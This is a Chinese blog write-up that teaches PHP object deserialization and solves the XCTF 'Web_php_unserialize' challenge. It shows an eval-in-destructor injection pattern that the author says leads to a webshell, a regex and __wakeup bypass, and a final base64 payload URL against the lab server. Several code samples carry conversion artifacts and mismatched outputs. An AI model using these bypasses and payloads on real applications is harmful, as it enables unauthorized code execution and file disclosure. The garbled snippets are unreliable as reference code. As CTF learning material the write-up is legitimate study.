记一次ctf反序列化
0x01 前言
学习到了反序列化
参考大佬文章
详解之php反序列化-php教程-PHP中文网
PHP反序列化漏洞入门 - FreeBuf网络安全行业门户
serialize 和 unserialize
序列化(serialize)
<!--?php
class Ctf{
public $flag='flag{XXXXX}';
public $name='cxk';
public $age='10';
} #定义一个类 类中三个变量
$ctfer=new Ctf(); #实例化这个类 将一个类转换为对象
$ctfer--->flag='flag{adedyui}';
$ctfer->age='18';
$ctfer->name='Scholar';
echo serialize($ctfer) #将转换后的对象进行修改变量值,然后进行序列化输出
?>
//输出结果
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象,序列化的是对象,序列化数组用A
3代表类的名字 为3个字符
Ctf为类名
3代表有三个属性/变量
s代表字符串
4字符串长度
flag为变量/属性名
s:13:"flag{adedyui}" 字符串,属性长度,属性值
往后同理
反序列化(unserialize)
flag='flag{adedyui}';$ctfer->name='Sch0lar';
$ctfer->age='18'
$str=serialize($ctfer);
echo '<pre>';
var_dump(unserialize($str))
?>
//输出结果
object(Ctf)#2 (3) {
["flag"]=>
string(13) "flag{abedyui}"
["name"]=>
string(7) "Sch0lar"
["age"]=>
string(2) "18"
}
0x03访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同
public(公有)
protected(受保护)// %00*%00属性名
private(私有的) // %00类名%00属性名
protected属性被序列化的时候属性值会变成 %00\*%00属性名
private属性被序列化的时候属性值会变成 **`%00类名%00属性名
例子
<!--?php
class Ctf{
public $name='Sch0lar';
protected $age='19';
private $flag='get flag';
}
$ctfer=new Ctf(); //实例化一个对象
echo serialize($ctfer);
?-->
//输出结果
O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}
实际结果
O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"%00*%00age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}
//解释
s:6:"*age" //*前后出现两个空白符,一个空白符长度为1,所以序列化后,该属性长度为6
s:9:"Ctfflag" //类名Ctf前后出现两个%00空白符,所以长度为9
0x04 魔法函数
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
serialize()函数会检查类中是否存在一个魔术函数sleep(),如果存在,sleep()方法会被优先调用
sleep()可以决定哪些属性可以被序列化,如果没有sleep()则默认全部序列化
实例
<!--?php
class Ctf{
public $flag='flag{xxxxx}';
public $name='cxk';
public $age='10';
public function _sleep(){
return array('flag','age');
}
}
$ctfer=new Ctf();
$ctfer--->flag='flag{abedyui}';
ctfer->age='18';
$ctfer->name='Scholar';
echo serialize($ctfer)
?>
// 输出结果
O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}
AND
与序列化类似,unserialize()会检查类中国是否存在一个_wakeup魔术方法,如果存在则优先调用魔术方法,再序列化
可以在_wakeup()方法对属性/变量进行初始化,赋值或者改变
实例
<!--?php
class Ctf{
public $flag='flag{****}';
public $name='cxk';
public $age='10';
public function __wakeup(){
$this--->flag='no flag'; //在反序列化时,flag属性将被改变为“no flag”
}
}
$ctfer=new Ctf(); //实例化一个对象
$ctfer->flag='flag{adedyui}';
$ctfer->name='Sch0lar';
$ctfer->age='18'
$str=serialize($ctfer);
echo '<pre>';
var_dump(unserialize($str));
?>
// 输出结果
object(Ctf)#2 (3) {
["flag"]=>
string(13) "no flag" //被修改为no flag
["name"]=>
string(7) "Sch0lar"
["age"]=>
string(2) "18"
}
其他注入例子
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
比如这个列子,直接是用户生成的内容传递给unserialize()函数,那就可以构造这样的语句
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

另一个例子
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。
所以我们利用这个漏洞点便可以获取web shell了

0x05 xctf Web_php_unserialize

代码审计
绕过两点
1)绕过正则表达式
2)绕过魔法函数_wakeup()函数
1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:
(2)绕过_wakeup()魔法函数,在反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo('fl4g.php');
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(':1:',':2:',$a);
#再进行base64编码
echo base64_encode($a);
?>
最终payload
http://111.200.241.244:62807/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==


浙公网安备 33010602011771号